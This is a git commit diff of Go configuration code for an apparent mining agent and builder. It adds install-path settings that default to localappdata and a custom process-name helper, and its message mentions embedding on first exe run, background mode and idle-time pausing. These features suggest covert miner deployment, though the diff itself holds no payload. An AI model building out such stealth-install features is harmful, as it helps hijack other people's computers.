Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -35,6 +35,9 @@ type BuiltinConfig struct {
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
ScheduleEnd string
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
|
||||
if b.ScheduleEnd == "" {
|
||||
b.ScheduleEnd = "06:00"
|
||||
}
|
||||
if b.InstallBase == "" {
|
||||
b.InstallBase = "localappdata"
|
||||
}
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
|
||||
return strings.ToLower(c.DisplayMode) == "background"
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveProcessName() string {
|
||||
name := strings.TrimSpace(c.ProcessName)
|
||||
if name == "" {
|
||||
return sanitizeProcessName(c.WorkerName)
|
||||
}
|
||||
return sanitizeProcessName(name)
|
||||
}
|
||||
|
||||
func sanitizeProcessName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
|
||||
Reference in New Issue
Block a user